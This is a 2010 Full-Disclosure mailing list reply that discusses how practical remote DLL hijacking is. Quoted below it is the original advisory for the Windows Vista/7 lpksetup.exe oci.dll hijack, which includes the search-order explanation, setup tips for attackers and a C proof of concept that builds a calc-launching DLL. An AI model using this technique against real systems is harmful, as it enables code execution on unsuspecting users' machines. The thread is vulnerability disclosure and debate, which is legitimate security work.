RE: [Full-disclosure] Windows Vista/7 lpksetup dll hijack

From: ACROS Security Lists <>
To: 'Thor (Hammer of God)' <>,'Tyler Borland' <>,'Full-Disclosure mailing list' <>
Subject: RE: [Full-disclosure] Windows Vista/7 lpksetup dll hijack

Hi Thor, 

Thanks to Microsoft's "defense in depth," double-clicking an .exe from a remote share
pops up a security warning. In contrast, double-clicking a data file that opens a
vulnerable application (which downloads and executes a .dll from the same share)
doesn't trigger such security warning. You might argue that users don't care about
such warnings and you might be right.

On the upside (or downside, depending on one's role in this game), our researchers
have already found an attack vector for binary planting (a superset of dll hijacking)
that works entirely through a web browser and only requires two single clicks
anywhere on the page - which is what we all do when we browse web pages. So if luring
a user to a remote share and hoping he would double-click a file seems unrealistic,
this might change your mind. And it's important that security leaders - like yourself
- understand this so that the followers won't be lured into a false sense of security
by considering remote attacks merely hypothetical. I'm afraid every single instance
of this bug we've seen so far is remotely exploitable in a practical enough way that
even the highly-aware and cautious people like the members of this list can easily be


Mitja Kolsek

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> If you are considering this "Remote Code Execution" then why 
> not just have the victim run an .exe from the "complete 
> anonymous share" you've managed to get people connected to 
> and save all the trouble?   This would still run as the user 
> context, and if the hijacked DLL tried to do something a 
> normal user couldn't do then it too would be blocked or fail anyway.  
> t
> From: 
> [] On Behalf 
> Of Tyler Borland
> Sent: Monday, October 25, 2010 1:55 PM
> To: Full-Disclosure mailing list
> Cc:
> Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
> /*
> Exploit:       Windows Vista/7 lpksetup.exe (oci.dll) DLL 
> Hijacking Vulnerability
> Extension:  .mlc
> Author:       Tyler Borland (
> Date:          10/20/2010
> Tested on:  Windows 7 Ultimate (Windows Vista 
> Ultimate/Enterpries and Windows 7 Enterprise should be 
> vulnerable as well)
> Effect:        Remote Code Execution
> lpksetup is the language pack installer that is included by 
> default with Windows Vista/7 Ultimate or Enterprise editions. 
>  By opening a .mlc file through something like an open SMB or 
> WebDav share, the oci.dll file will be grabbed and ran in the 
> context of the vulnerable application.
> This is a LoadLibrary() load path bug.  The load library 
> search order is:
>    1. The directory from which the application loaded
>    2. 32-bit System directory (Windows\System32)
>    3. 16-bit System directory (Windows\System)
>    4. Windows directory (Windows)
>    5. Current working directory
>    6. Directories in the PATH environment variable As 
> OracleOciLib is not used on target system, oci.dll does not 
> exist, so if a full path is not supplied when calling the dll 
> or the search path has not been cleared before the call, we 
> will hit our fifth search path and load the library from the 
> remote filesystem.
> Interestingly enough, while lpksetup is blocked for execution 
> by UAC under a normal user, the injected library (payload) 
> will still execute.
> Exploiters make sure your system's security policy, 
> secpol.msc, allows complete anonymous share access for 
> connecting users.
> Outlook links seem to be the current exploit toyland, other 
> vectors: 
> <>
> */
> #include <windows.h>
> int main()
> {
>   WinExec("calc", SW_NORMAL);  // the typical non-lethal PoC
>   exit(0);
>   return 0;
> }
> LPVOID lpvReserved) {
>   main();
>   return 0;
> }
> /* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */

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